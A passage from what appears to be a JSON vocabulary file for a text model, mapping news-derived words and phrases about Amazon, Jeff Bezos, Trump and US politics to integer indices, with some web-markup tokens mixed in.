pride": 96360, "photo ap": 96361, "counted 124": 96362, "quality feature": 96363, "various degrees": 96364, "country saudiarabia": 96365, "hamilton niagara": 96366, "just crossed": 96367, "increasingly important": 96368, "rogin pence": 96369, "belonging": 96370, "facetime app": 96371, "mair told": 96372, "bezos backed": 96373, "offers sophisticated": 96374, "tossed": 96375, "paralyzed": 96376, "gorgeous plant": 96377, "plays captain": 96378, "trump aggressive": 96379, "contents dramas": 96380, "kellyanne conway": 96381, "guess tomorrow": 96382, "228 shares": 96383, "sen collins": 96384, "misztal boston": 96385, "losing face": 96386, "101 arlington": 96387, "modernize win": 96388, "washington began": 96389, "employed": 96390, "langbaum": 96391, "divorce filing": 96392, "sanders escalates": 96393, "targeting immigrants": 96394, "keeps amazon": 96395, "perilous": 96396, "public spaces": 96397, "brexit style": 96398, "week raised": 96399, "stagnating": 96400, "alibaba jdcom": 96401, "forcing major": 96402, "decision driver": 96403, "schatz": 96404, "papazian medical": 96405, "talks posted": 96406, "business survival": 96407, "envy": 96408, "idiq awards": 96409, "treatment instead": 96410, "leave wouldn": 96411, "subsections entertainment": 96412, "operations bope": 96413, "replace schuster": 96414, "revenue machine": 96415, "advisers elements": 96416, "certainly unpopular": 96417, "say sorry": 96418, "action according": 96419, "fair housing": 96420, "weiner laptop": 96421, "subscribers free": 96422, "anthony melchiorre": 96423, "image shows": 96424, "distribution state": 96425, "prince william": 96426, "bond markets": 96427, "money party": 96428, "chicken parmesan": 96429, "raunchy intimate": 96430, "ebay alipay": 96431, "fashion accessories": 96432, "compiles": 96433, "assemblywoman nolan": 96434, "widespread outrage": 96435, "built considerable": 96436, "tm son": 96437, "federal research": 96438, "jordyn": 96439, "2018 dow": 96440, "393": 96441, "bezos shocking": 96442, "aca ruling": 96443, "menchaca": 96444, "laymon scribner": 96445, "legend snopes": 96446, "government worked": 96447, "audrey": 96448, "story ponzi": 96449, "pirates operating": 96450, "campaign says": 96451, "booking travel": 96452, "elections boe": 96453, "whitehead": 96454, "govpredict bi": 96455, "ignited cigar": 96456, "industry amazon": 96457, "passed unanimous": 96458, "technological book": 96459, "orig mss": 96460, "implications promises": 96461, "finishing stages": 96462, "socialists senator": 96463, "offenses": 96464, "notice shopper": 96465, "erratic": 96466, "black persons": 96467, "offer great": 96468, "changing policies": 96469, "owners deadly": 96470, "method involves": 96471, "asked nick": 96472, "needs improvement": 96473, "pentagon multi": 96474, "plotting": 96475, "guidance does": 96476, "agents thanks": 96477, "samaritan accepts": 96478, "proposes putting": 96479, "removing nude": 96480, "nbcuniversal busy": 96481, "arkansas specializing": 96482, "hulu castle": 96483, "bridesmaid daughter": 96484, "photo tv": 96485, "company relative": 96486, "honan": 96487, "rally opposing": 96488, "separation rule": 96489, "statutory": 96490, "services methods": 96491, "clinton election": 96492, "river tributary": 96493, "started bids": 96494, "biased search": 96495, "taste heart": 96496, "airplane": 96497, "fun anymore": 96498, "tech openmic": 96499, "new product": 96500, "small biz": 96501, "life reminds": 96502, "tell different": 96503, "cynical ploy": 96504, "songman lin": 96505, "houston students": 96506, "penkala": 96507, "snl gop": 96508, "merchandise volume": 96509, "time team": 96510, "similar development": 96511, "embracing north": 96512, "109 166": 96513, "family finds": 96514, "losing postal": 96515, "addclass cd": 96516, "sales programmatically": 96517, "ceo responded": 96518, "hawker": 96519, "leadership governance": 96520, "cortez flooded": 96521, "massive platforms": 96522, "stone confirmed": 96523, "increase banner": 96524, "frozen products": 96525, "tweet couldn": 96526, "eminently": 96527, "cnl_calcaccesplact_content_content nn": 96528, "harassment settlements": 96529, "wrong personally": 96530, "idiosyncratic session": 96531, "progressive journalism": 96532, "group queens": 96533, "monopoly control": 96534, "media owns": 96535, "say sununu": 96536, "created demand": 96537, "business units": 96538, "jr mark": 96539, "reported law": 96540, "secret files": 96541, "powerful railroad": 96542, "hectored heckled": 96543, "customer accounts": 96544, "redhat": 96545, "fas": 96546, "electronic wristbands": 96547, "vladimir putin": 96548, "moto g6": 96549, "rebecca traister": 96550, "media lab": 96551, "earn yields": 96552, "merely spew": 96553, "putting ceo": 96554, "cameroonian colonial": 96555, "operating driverless": 96556, "ice deputy": 96557, "notdeny": 96558, "richer people": 96559, "alleged details": 96560, "oaxaca": 96561, "austere": 96562, "layaway": 96563, "ran alongside": 96564, "van houten": 96565, "ami national": 96566, "fur": 96567, "spending bills": 96568, "supernatural heritage": 96569, "business unit": 96570, "page expo": 96571, "added yesterday": 96572, "indictments poured": 96573, "dollars mdd": 96574, "town alleged": 96575, "usps network": 96576, "delivery promise": 96577, "sit right": 96578, "photos pakistan": 96579, "scare ilhan": 96580, "youthful": 96581, "endangers": 96582, "reasonable price": 96583, "troubling irregularities": 96584, "direct threat": 96585, "technical control": 96586, "mismatched people": 96587, "hanged": 96588, "pearlstein pulitzer": 96589, "jesse shapiro": 96590, "hedged": 96591, "watch warren": 96592, "backdoor": 96593, "large data": 96594, "2018 nshongore": 96595, "americans chance": 96596, "permanent reduction": 96597, "constitutes monopoly": 96598, "trump tight": 96599, "conditions amazon": 96600, "remove presidenttrump": 96601, "fee helps": 96602, "fundamental aspect": 96603, "source reuters": 96604, "modern history": 96605, "martin right": 96606, "lawn": 96607, "2018 exact": 96608, "maxsa products": 96609, "house normal": 96610, "labor demand": 96611, "level sharper": 96612, "using commerce": 96613, "national enquirers": 96614, "growing photo": 96615, "hangs tale": 96616, "senior vp": 96617, "software providers": 96618, "lax prison": 96619, "facility workers": 96620, "old transfer": 96621, "talked": 96622, "growth corp": 96623, "price parcel": 96624, "welfare programs": 96625, "somodevilla president": 96626, "customers employees": 96627, "growth according": 96628, "fresh racial": 96629, "drawn increasing": 96630, "common djia": 96631, "report timeline": 96632, "agency current": 96633, "shoes baby": 96634, "rampant militarism": 96635, "fight brexit": 96636, "suppressed florian": 96637, "seattle home": 96638, "location offered": 96639, "enemies using": 96640, "qtt": 96641, "accelerated losses": 96642, "recommendations pitched": 96643, "hc": 96644, "list including": 96645, "partenheimer believes": 96646, "couchbase": 96647, "totally eliminated": 96648, "computing foundation": 96649, "cohen scheduled": 96650, "prns limited": 96651, "group confronted": 96652, "presidential terms": 96653, "trend doesn": 96654, "mnooks": 96655, "thriving regions": 96656, "major buy": 96657, "polled voters": 96658, "poe commercialappeal": 96659, "breaking fortune": 96660, "workers face": 96661, "finance content": 96662, "phone carriers": 96663, "rice joined": 96664, "dollar rose": 96665, "ami directly": 96666, "watchdog group": 96667, "gq": 96668, "campaigns president": 96669, "edition delivered": 96670, "national center": 96671, "month ocasio": 96672, "39572": 96673, "bezos albeit": 96674, "size black": 96675, "earlier unveiled": 96676, "zhu": 96677, "scenes access": 96678, "emergency empire": 96679, "workers tackling": 96680, "itep amazon": 96681, "shares dive": 96682, "weren getting": 96683, "secret advice": 96684, "segment called": 96685, "2651": 96686, "holgate": 96687, "64gb internal": 96688, "strong educational": 96689, "sources speaking": 96690, "big potential": 96691, "committee annual": 96692, "amazon brokered": 96693, "justice clarence": 96694, "colleague carl": 96695, "works 2019": 96696, "recession david": 96697, "case religious": 96698, "divorced labour": 96699, "fresh cash": 96700, "require preferential": 96701, "gettingit just": 96702, "advisor rich": 96703, "evan spiegel": 96704, "leader don": 96705, "dem perspective": 96706, "paparazzo": 96707, "far beijing": 96708, "scrapped noting": 96709, "rendered judgement": 96710, "thestreet staff": 96711, "stores make": 96712, "m2x a4ee": 96713, "874 shares": 96714, "assets fueling": 96715, "opaquely shift": 96716, "k1a m4": 96717, "actually wants": 96718, "police brutality": 96719, "nfluencing": 96720, "inc_react_displayflag": 96721, "unity commission": 96722, "schwartz danaschwartzzz": 96723, "called germany": 96724, "news checkmate": 96725, "filers": 96726, "persuaded jesuit": 96727, "genuinely newsworthy": 96728, "single framework": 96729, "screen grab": 96730, "struggling department": 96731, "doyle salt": 96732, "freedoms": 96733, "fdx announced": 96734, "committee withhold": 96735, "bindel": 96736, "aapl amazon": 96737, "class johnson": 96738, "amazon inland": 96739, "risk shutting": 96740, "prevents poor": 96741, "cats reagan": 96742, "fortunes": 96743, "saudis hacked": 96744, "wrong dozens": 96745, "robin raisfeld": 96746, "kass president": 96747, "2018 activists": 96748, "heightened competition": 96749, "hatchet": 96750, "seth abramson": 96751, "organization services": 96752, "reelection": 96753, "tiny helpers": 96754, "pocketbook 2018": 96755, "media van": 96756, "fraud transactions": 96757, "suggested public": 96758, "alleyways": 96759, "fortune pinterest": 96760, "worth boasting": 96761, "kyle crum": 96762, "soy sales": 96763, "year delayed": 96764, "newsedge technology": 96765, "bezos titled": 96766, "state online": 96767, "null cnl_global_nav_background_gradient_end": 96768, "chairman bob": 96769, "benches": 96770, "lawyer fees": 96771, "pennsylvania grand": 96772, "financially": 96773, "resumption": 96774, "unbelievable pace": 96775, "started leasing": 96776, "normal ugly": 96777, "peer": 96778, "deforest": 96779, "fuel speculation": 96780, "standard despite": 96781, "actual experience": 96782, "gadgetmaker limited": 96783, "discounted new": 96784, "ireland asia": 96785, "yudhoyono": 96786, "recent decisions": 96787, "workers dead": 96788, "technology council": 96789, "employing union": 96790, "tastemade modified": 96791, "civics 101": 96792, "nuptial arrangement": 96793, "trump blew": 96794, "unscathed amazon": 96795, "episode anthology": 96796, "oklahoma north": 96797, "employees contributed": 96798, "sanchez text": 96799, "soviet spies": 96800, "smartphone photographs": 96801, "2017 presidential": 96802, "rejane": 96803, "busy work": 96804, "model manufacturing": 96805, "intersects": 96806, "apparel arts": 96807, "sided fights": 96808, "baity": 96809, "2019 bloomingdale": 96810, "lifting": 96811, "making moves": 96812, "earth 200": 96813, "recent yelp": 96814, "educational outcomes": 96815, "contentious kavanaugh": 96816, "parcel deliveries": 96817, "stone according": 96818, "matters google": 96819, "expire spokesperson": 96820, "parliament decision": 96821, "electrified": 96822, "republican campaign": 96823, "multiple copies": 96824, "remotely": 96825, "criterion products": 96826, "credo": 96827, "fromtheir": 96828, "h2q": 96829, "include treasury": 96830, "presidentdonald": 96831, "secure": 96832, "effort environmental": 96833, "grandstanding politicians": 96834, "management team": 96835, "help small": 96836, "literally thousands": 96837, "report overnight": 96838, "corp abc": 96839, "obnoxious": 96840, "biggest money": 96841, "order establishing": 96842, "cool": 96843, "including airbnb": 96844, "free passage": 96845, "amazon ad": 96846, "nik sharma": 96847, "corporation paying": 96848, "imagine disclosure": 96849, "requiring phone": 96850, "retail firm": 96851, "contest backlash": 96852, "company limits": 96853, "prosecution jury": 96854, "doris": 96855, "janan": 96856, "fla directly": 96857, "things usually": 96858, "brennan center": 96859, "relentless focus": 96860, "competitive advantages": 96861, "h4e": 96862, "million copies": 96863, "heated": 96864, "mistress lauren": 96865, "crucial phase": 96866, "backed bolsonaro": 96867, "bezos genius": 96868, "cdc": 96869, "ferrari ibm": 96870, "trump automatically": 96871, "public sexists": 96872, "hosting small": 96873, "const video": 96874, "senator chuck": 96875, "intrigue immigration": 96876, "wrote bestselling": 96877, "vertical merger": 96878, "advertising play": 96879, "asia imdb": 96880, "fake english": 96881, "fraternity": 96882, "years apple": 96883, "vaunted metro": 96884, "churn rates": 96885, "katherine faulders": 96886, "stamps similar": 96887, "create additional": 96888, "horrifying jj": 96889, "mackenzie journalists": 96890, "kristinn hrafnsson": 96891, "lee note": 96892, "political filmmaking": 96893, "logistical resources": 96894, "radical ideas": 96895, "ilana glazer": 96896, "sht donald": 96897, "launch number": 96898, "leon county": 96899, "thumping comeback": 96900, "takes great": 96901, "helping left": 96902, "retailer published": 96903, "anderson kristin": 96904, "beatles": 96905, "stops executing": 96906, "computers": 96907, "amazon project": 96908, "costco revenues": 96909, "jaw": 96910, "declaration allowing": 96911, "additional government": 96912, "americans spending": 96913, "widens deutsche": 96914, "2018 stuff": 96915, "2021 calling": 96916, "help aluminum": 96917, "hearing": 96918, "conan": 96919, "trump allegations": 96920, "seattle entrepreneur": 96921, "phenomena": 96922, "breath catchingly": 96923, "federal revenues": 96924, "flagship search": 96925, "cheese board": 96926, "partner ally": 96927, "harvey oswalt": 96928, "qauz4tl6ux": 96929, "magazine chief": 96930, "rewriting": 96931, "timely novel": 96932, "grog": 96933, "inefficient": 96934, "equated": 96935, "preparing billions": 96936, "ubs asset": 96937, "declaration form": 96938, "modern efficiencies": 96939, "__proto__": 96940, "virginia shift": 96941, "joe_depaolo": 96942, "london cnnmoney": 96943, "starred harrison": 96944, "deruiter everywhereist": 96945, "cranberry juice": 96946, "verge reports": 96947, "private schools": 96948, "mexico tower": 96949, "bezos stake": 96950, "prices prices": 96951, "president gleefully": 96952, "plead": 96953, "misused": 96954, "exploited rationally": 96955, "unrelenting protection": 96956, "enormous bird": 96957, "jets captured": 96958, "investigating jeff": 96959, "long auction": 96960, "department staffers": 96961, "celebration": 96962, "brokerage firm": 96963, "surveillance business": 96964, "official probe": 96965, "americans instead": 96966, "motivated practices": 96967, "addressed different": 96968, "q4 growth": 96969, "pay multi": 96970, "surprise schwietzer": 96971, "cbs available": 96972, "uber market": 96973, "software features": 96974, "president worst": 96975, "term don": 96976, "dissenters": 96977, "country southern": 96978, "doing terrible": 96979, "bj": 96980, "obama legacy": 96981, "trump unfavorably": 96982, "isn offering": 96983, "men drowned": 96984, "company founder": 96985, "describes": 96986, "enthusiast": 96987, "computing market": 96988, "firm employees": 96989, "proving ground": 96990, "partner dan": 96991, "discrete": 96992, "true story": 96993, "wholesale": 96994, "andrew pollack": 96995, "traffic toronto": 96996, "shows reviews": 96997, "secretary speaks": 96998, "scruffy haired": 96999, "operatives trying": 97000, "cleaning": 97001, "job positions": 97002, "guralnick detroit": 97003, "pac doled": 97004, "line retailer": 97005, "office space": 97006, "single customers": 97007, "karen sebold": 97008, "impact airbus": 97009, "novel continues": 97010, "near pockets": 97011, "multicarrier offerings": 97012, "start doing": 97013, "farmers": 97014, "barely knows": 97015, "increase pressures": 97016, "stay tuned": 97017, "met repeatedly": 97018, "assurance technician": 97019, "war farmers": 97020, "liquidate billion": 97021, "analyst": 97022, "mark according": 97023, "european economist": 97024, "monetized evaluate": 97025, "long feared": 97026, "completed trials": 97027, "nymag": 97028, "counties attend": 97029, "carrell introduces": 97030, "compelling employer": 97031, "ackerman knopf": 97032, "conservatives argued": 97033, "administration actions": 97034, "classic cattleman": 97035, "reporting think": 97036, "considered bit": 97037, "space available": 97038, "protracted trade": 97039, "rauner camp": 97040, "sedo declined": 97041, "sanders apart": 97042, "times derided": 97043, "community service": 97044, "aviation": 97045, "chandra ram": 97046, "img_skyscraperref": 97047, "business costco": 97048, "member david": 97049, "wing voices": 97050, "wilson geekwire": 97051, "biography johnson": 97052, "chadian rebels": 97053, "mother jones": 97054, "atlantic article": 97055, "facebook amazon": 97056, "large underpenetrated": 97057, "thriving communities": 97058, "facebook policy": 97059, "new group": 97060, "news appear": 97061, "allowance": 97062, "investor cash": 97063, "2008 law": 97064, "batteries stuff": 97065, "benefits health": 97066, "html monopoly": 97067, "cnl_custom_article_footer cnl_contenido_contenido_contenido_campa_contenido_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_granas_campa_campa_granas_campa_campa_granas_campa_campa_granas_campa_campa_granas_campa_campa_granas_corriente": 97068, "furry socks": 97069, "teddy roosevelt": 97070, "hazards michael": 97071, "passport": 97072, "filings staff": 97073, "sides want": 97074, "uttam dhillon": 97075, "large portions": 97076, "genuinely ambitious": 97077, "partnership owns": 97078, "return new": 97079, "negotiated job": 97080, "bayh": 97081, "republican orthodoxy": 97082, "combinator demo": 97083, "busily doing": 97084, "news blogs": 97085, "hd sydney": 97086, "regulators black": 97087, "hehas": 97088, "fools": 97089, "stations broadcast": 97090, "handle local": 97091, "amazon robust": 97092, "maintain mailboxes": 97093, "haunting amazon": 97094, "earlier ocasio": 97095, "meaningful impact": 97096, "portly president": 97097, "options given": 97098, "media strategy": 97099, "depot executive": 97100, "fusillade": 97101, "enhancements starting": 97102, "consumer categories": 97103, "imdb units": 97104, "taking money": 97105, "times analysts": 97106, "showdown nears": 97107, "significant subscription": 97108, "mta investigating": 97109, "service companions": 97110, "endorsed rep": 97111, "poring": 97112, "hitting lightweight": 97113, "watching ceramic": 97114, "lewisville dixie": 97115, "generated lot": 97116, "illegal hush": 97117, "consent racial": 97118, "tray medium": 97119, "aluminum giant": 97120, "track amazon": 97121, "politicized world": 97122, "stop purchasing": 97123, "hosting online": 97124, "fbi released": 97125, "huge power": 97126, "package shippers": 97127, "absolutely positively": 97128, "education netflix": 97129, "strongly dislike": 97130, "new schools": 97131, "spend billion": 97132, "harvest customer": 97133, "nick jr": 97134, "washington computer": 97135, "circuited": 97136, "china shanghai": 97137, "complexity soybeans": 97138, "money original": 97139, "crabtree pro": 97140, "candidates ranked": 97141, "squirrel days": 97142, "facing global": 97143, "minister theresa": 97144, "logistic center": 97145, "shaping jedi": 97146, "topped expectations": 97147, "determined google": 97148, "shocked": 97149, "dovish stance": 97150, "rick paterson": 97151, "conferences": 97152, "page stone": 97153, "crippling working": 97154, "lay groundwork": 97155, "corporate windfall": 97156, "right exactly": 97157, "winning track": 97158, "persuade amazon": 97159, "hate jeff": 97160, "people voters": 97161, "meansfor amazon": 97162, "robert books": 97163, "diego county": 97164, "remotely deleting": 97165, "content kavanaugh": 97166, "unsurprising": 97167, "rightgoing forward": 97168, "political leaders": 97169, "trump feinstein": 97170, "mandates": 97171, "create millions": 97172, "klein a45": 97173, "privacy lapses": 97174, "recently scrapped": 97175, "traditional inuit": 97176, "integrating target": 97177, "kanter dennis": 97178, "kashfia": 97179, "asthma attacks": 97180, "makes apple": 97181, "post pic": 97182, "somalian couple": 97183, "personally pressured": 97184, "ran anti": 97185, "campaign fourteen": 97186, "contains": 97187, "bezos relied": 97188, "613": 97189, "generating tax": 97190, "telemedicine services": 97191, "animated comedy": 97192, "suppressing voices": 97193, "candy": 97194, "magnolia house": 97195, "6g": 97196, "bay times": 97197, "participation": 97198, "bezos mention": 97199, "infrastructure transportation": 97200, "sales international": 97201, "modified using": 97202, "representative just": 97203, "uk arm": 97204, "americans nationwide": 97205, "new obsessive": 97206, "going twitter": 97207, "great business": 97208, "crucial safety": 97209, "tidy profit": 97210, "quashed amazon": 97211, "washington insistence": 97212, "insecurities": 97213, "hunters": 97214, "partially political": 97215, "tobosbunny tobosbunny": 97216, "having created": 97217, "trout creek": 97218, "cars study": 97219, "prosaic business": 97220, "economic health": 97221, "5438 typeahead": 97222, "market aims": 97223, "garofolo grading": 97224, "cuts touted": 97225, "fortune exceeds": 97226, "chalkboard": 97227, "technology markets": 97228, "self empowerment": 97229, "pastor dawkins": 97230, "baek caroline": 97231, "media began": 97232, "community cbs": 97233, "terrifying entry": 97234, "interestingly amazon": 97235, "grateful north": 97236, "slate plus": 97237, "democrats walmart": 97238, "small device": 97239, "revenue compete": 97240, "fort lauderdale": 97241, "argentina belgium": 97242, "hea": 97243, "scheduled debt": 97244, "seattle validar": 97245, "engagements": 97246, "child poverty": 97247, "goading trump": 97248, "ballet": 97249, "summer plans": 97250, "fact crime": 97251, "annual revenue": 97252, "negative signs": 97253, "jeremy owens": 97254, "develops networking": 97255, "accusations": 97256, "sam": 97257, "command adjust": 97258, "born melanija": 97259, "entire planet": 97260, "exploration company": 97261, "capital yap": 97262, "pretty fun": 97263, "enquirer basically": 97264, "newspaper industry": 97265, "ego wrapped": 97266, "perfect suburban": 97267, "discussing ways": 97268, "zegers celebrates": 97269, "abergel phaidon": 97270, "editorial board": 97271, "seconds venezuela": 97272, "day primer": 97273, "york comic": 97274, "rathner": 97275, "ongoing speculation": 97276, "nation excelsior": 97277, "content credit": 97278, "congress national": 97279, "politicians representing": 97280, "wear": 97281, "images showed": 97282, "budge": 97283, "gov scott": 97284, "schweizer appeared": 97285, "fda approves": 97286, "brand owners": 97287, "doubleday": 97288, "negotiating session": 97289, "switch w5q": 97290, "severing": 97291, "public mutually": 97292, "senior citizens": 97293, "cramer want": 97294, "tweet references": 97295, "report janet": 97296, "opposite ideologies": 97297, "care launched": 97298, "jugular core": 97299, "attacks privatizing": 97300, "reading takes": 97301, "love larger": 97302, "sanchez avid": 97303, "reformed": 97304, "owned shares": 97305, "alongside mainstream": 97306, "strong critic": 97307, "dissident": 97308, "important transactional": 97309, "wall negotiations": 97310, "widening income": 97311, "conocophillips hess": 97312, "living lie": 97313, "legislation 100": 97314, "philanthropic sector": 97315, "amazon delivering": 97316, "steve kerr": 97317, "worst car": 97318, "brookings metropolitan": 97319, "company implements": 97320, "groceries walmart": 97321, "erratic president": 97322, "mammal bird": 97323, "national survey": 97324, "krx 005930": 97325, "florida ballots": 97326, "long komonews": 97327, "honest cop": 97328, "stuff unlock": 97329, "promising international": 97330, "remarkable person": 97331, "raab": 97332, "johnson julie": 97333, "taking office": 97334, "amnesty agreements": 97335, "human infested": 97336, "observer jeff": 97337, "filled day": 97338, "balanced journalism": 97339, "nun": 97340, "comedian john": 97341, "important integrators": 97342, "page report": 97343, "groceries live": 97344, "hard ask": 97345, "handy": 97346, "underlines": 97347, "school arrive": 97348, "broke away": 97349, "administration foreign": 97350, "insurance retirement": 97351, "jobs adviser": 97352, "andreessen horowitz": 97353, "police hoping": 97354, "says senior": 97355, "substance abuse": 97356, "balloon depicting": 97357, "eva hambach": 97358, "outlet estimated": 97359, "limits tariffs": 97360, "celtic press": 97361, "table employees": 97362, "anonymous op": 97363, "ma openly": 97364, "charges israeli": 97365, "pichai apple": 97366, "moody analyst": 97367, "fact lot": 97368, "leak hunt": 97369, "amazon rails": 97370, "woodward amazon": 97371, "national health": 97372, "updated": 97373, "york major": 97374, "valuable education": 97375, "derives money": 97376, "proposed changes": 97377, "galloway suggested": 97378, "predatory power": 97379, "1999": 97380, "term dark": 97381, "yb e3": 97382, "costco walmart": 97383, "amazon photo": 97384, "blackfridays": 97385, "robots inside": 97386, "reverse course": 97387, "jpg 575x270": 97388, "amazon appeared": 97389, "administration following": 97390, "vesa": 97391, "p0": 97392, "improve relations": 97393, "class rocket": 97394, "soft drapery": 97395, "mmcgill": 97396, "based sock": 97397, "far alipay": 97398, "china bankrolled": 97399, "participants": 97400, "write topical": 97401, "kamen": 97402, "jurisdictional": 97403, "publisher controlled": 97404, "labs announced": 97405, "frank claude": 97406, "community supports": 97407, "louisiana earlier": 97408, "fishy lips": 97409, "indian ocean": 97410, "listing competing": 97411, "brahms": 97412, "multiple warnings": 97413, "clearly": 97414, "big brand": 97415, "fiction missing": 97416, "amass fortune": 97417, "brett archibald": 97418, "fair report": 97419, "neapolitan novels": 97420, "federal ethics": 97421, "carr\u00e9": 97422, "biondo": 97423, "border read": 97424, "future decisions": 97425, "checkout aisle": 97426, "amazon ebay": 97427, "post article": 97428, "000 coffee": 97429, "retreated amid": 97430, "switchboard": 97431, "afoul": 97432, "transcribes": 97433, "fully opposed": 97434, "media baron": 97435, "educated workers": 97436, "platforms mean": 97437, "unarguably": 97438, "post mention": 97439, "child care": 97440, "new crime": 97441, "government information": 97442, "blue waves": 97443, "convince readers": 97444, "affordable morgan": 97445, "think siri": 97446, "democrat healy": 97447, "bogglingly large": 97448, "river lower": 97449, "alexandria ocasio": 97450, "macfarquhar": 97451, "new regulation": 97452, "foundation reported": 97453, "stocks climbed": 97454, "wrecking": 97455, "airs": 97456, "isidore farms": 97457, "purchasing technology": 97458, "gambit": 97459, "apple computer": 97460, "post journalism": 97461, "beatdown": 97462, "movies anymore": 97463, "easily duped": 97464, "beliefs": 97465, "growth fears": 97466, "settlement expenses": 97467, "intel putin": 97468, "captain flint": 97469, "shadow bans": 97470, "comment frank": 97471, "masculinity inequality": 97472, "greenpeace usa": 97473, "plunge reuters": 97474, "cartel industries": 97475, "university according": 97476, "hefty fines": 97477, "amazon basic": 97478, "dalian": 97479, "trillion": 97480, "counter product": 97481, "hointer ceo": 97482, "chess photo": 97483, "consistent growth": 97484, "signed executive": 97485, "offers proof": 97486, "dated": 97487, "market citing": 97488, "valley darkest": 97489, "purchase vaxxed": 97490, "eventually mean": 97491, "138 ct": 97492, "lug": 97493, "drive 4g": 97494, "minute commercial": 97495, "melton allen": 97496, "know women": 97497, "offered offered": 97498, "trust holds": 97499, "team amazon": 97500, "mexico set": 97501, "coordinates postal": 97502, "station": 97503, "edward lampert": 97504, "open trump": 97505, "met gala": 97506, "assaulted approached": 97507, "walton siblings": 97508, "vrxervxswl": 97509, "centers scattered": 97510, "tic": 97511, "structures": 97512, "candidates according": 97513, "developed taste": 97514, "poor customer": 97515, "knock wife": 97516, "long claimed": 97517, "lives event": 97518, "newsom tosses": 97519, "anxiety change": 97520, "housing schools": 97521, "obviously quite": 97522, "cloud amazon": 97523, "announcement read": 97524, "twitter reacted": 97525, "unless": 97526, "constituents know": 97527, "school sectors": 97528, "new hosts": 97529, "hair carell": 97530, "complete overzicht": 97531, "price retailers": 97532, "appario": 97533, "firm staff": 97534, "weekday mornings": 97535, "especially walmart": 97536, "broke implicating": 97537, "rate wise": 97538, "obama ge": 97539, "registry transparency": 97540, "wsj tech": 97541, "linking amazon": 97542, "amzn web": 97543, "rise office": 97544, "suggests better": 97545, "blog amazon": 97546, "announced sybt": 97547, "dora": 97548, "sourcing locally": 97549, "old jeff": 97550, "recent example": 97551, "practically peddled": 97552, "gmt police": 97553, "happened danielle": 97554, "tech execs": 97555, "reason mueller": 97556, "extended credit": 97557, "showing scottish": 97558, "car network": 97559, "tax records": 97560, "bring competition": 97561, "numbering": 97562, "beer prices": 97563, "experts partner": 97564, "leader deap": 97565, "routinely publishes": 97566, "term solution": 97567, "earnings cycle": 97568, "webcast presentation": 97569, "empire entertainment": 97570, "home territory": 97571, "fear includes": 97572, "issued statements": 97573, "thought amazon": 97574, "words used": 97575, "shelton benjamin": 97576, "voa news": 97577, "apocalyptic": 97578, "tarmacs": 97579, "schools change": 97580, "madrona": 97581, "navarro denied": 97582, "conferences thedeal": 97583, "sells clothing": 97584, "warns trump": 97585, "comments alabama": 97586, "better wages": 97587, "deal small": 97588, "sen patrick": 97589, "charts nbc": 97590, "announcement does": 97591, "trademark applied": 97592, "ensuring customers": 97593, "welcome soundbite": 97594, "parks": 97595, "chairman needs": 97596, "593": 97597, "personally yeah": 97598, "turkstra": 97599, "pimentel wireimage": 97600, "ralph norman": 97601, "largest buyer": 97602, "national cathdral": 97603, "journal dan": 97604, "sheppard lost": 97605, "jnqzosonfn jeff": 97606, "advocate mechanism": 97607, "claiborne distinguished": 97608, "mo": 97609, "trump rails": 97610, "autobot": 97611, "acquiring online": 97612, "commission major": 97613, "nineteen": 97614, "pay yearly": 97615, "k0 typeof": 97616, "juicy affair": 97617, "cnnmoney": 97618, "36th annual": 97619, "offer experience": 97620, "user jokingly": 97621, "bribed": 97622, "unreasonable overly": 97623, "structural problems": 97624, "stash": 97625, "jan 2018plenty": 97626, "retailer gloated": 97627, "videoid movetonexttimeout": 97628, "partial government": 97629, "allege retaliatory": 97630, "funnel drone": 97631, "headline trump": 97632, "1818": 97633, "online business": 97634, "diminished": 97635, "considered violation": 97636, "beige khakis": 97637, "men adinfo": 97638, "chapman": 97639, "sale instead": 97640, "businesses nationwide": 97641, "netflix demons": 97642, "unlovable trump": 97643, "twitter presence": 97644, "ballesteros": 97645, "super strong": 97646, "taxpayers rely": 97647, "multiple people": 97648, "protection dep": 97649, "assistance payments": 97650, "company customer": 97651, "goodness tina": 97652, "consider public": 97653, "include helping": 97654, "economy adds": 97655, "viral published": 97656, "second natl": 97657, "decade nasdaq": 97658, "total patents": 97659, "post fake": 97660, "kil": 97661, "biggest losers": 97662, "defense kind": 97663, "evolving intensely": 97664, "planes": 97665, "wireless industry": 97666, "abortion pro": 97667, "election corsi": 97668, "massive highly": 97669, "safely relegated": 97670, "small merchants": 97671, "andy puzder": 97672, "home kit": 97673, "stephanie monroe": 97674, "trump using": 97675, "micro computer": 97676, "montessori schools": 97677, "kafka recode": 97678, "seattle office": 97679, "omar": 97680, "unveil": 97681, "wayfair including": 97682, "center louis": 97683, "hole": 97684, "expensive servers": 97685, "management software": 97686, "clybourne": 97687, "enable federal": 97688, "page adds": 97689, "starring julia": 97690, "experiences working": 97691, "consumer standard": 97692, "won suffer": 97693, "committee amazon": 97694, "limited influence": 97695, "true crime": 97696, "warren plan": 97697, "lower wages": 97698, "invest billions": 97699, "city began": 97700, "price garamendi": 97701, "anup kaphle": 97702, "trump sanders": 97703, "nothings": 97704, "trophy hunter": 97705, "enquirer stopped": 97706, "girlfriend karen": 97707, "amazon mentioned": 97708, "despite revenue": 97709, "live secluded": 97710, "puts aramco": 97711, "socialflow organic": 97712, "higher cost": 97713, "information asymmetric": 97714, "authors james": 97715, "iphone bloomberg": 97716, "companies facebook": 97717, "dealt fresh": 97718, "adviser sure": 97719, "average asset": 97720, "regulatory agency": 97721, "sp2 supercars": 97722, "false according": 97723, "kid": 97724, "screeny r4ee": 97725, "guilfoyle": 97726, "dead": 97727, "renew": 97728, "ctr good": 97729, "facebook commenting": 97730, "sailed": 97731, "lowlife break": 97732, "selling rekognition": 97733, "recharge": 97734, "dos": 97735, "initializing": 97736, "philadelphia released": 97737, "damage county": 97738, "secluded": 97739, "following putin": 97740, "mackenzie referring": 97741, "triumphantly humiliated": 97742, "bolsonaro presidency": 97743, "soon usa": 97744, "life force": 97745, "people click": 97746, "security investigations": 97747, "times president": 97748, "hussein government": 97749, "chernoff": 97750, "thedemocratic party": 97751, "post trump": 97752, "delta follows": 97753, "user growth": 97754, "poverty level": 97755, "mentioned writer": 97756, "numerous unflattering": 97757, "tunnel": 97758, "p60": 97759, "adrenaline": 97760, "dogs kathleen": 97761, "cost perspective": 97762, "act foia": 97763, "romantic personal": 97764, "union trade": 97765, "business brittany": 97766, "property knowledge": 97767, "personal client": 97768, "targeted media": 97769, "heatwave": 97770, 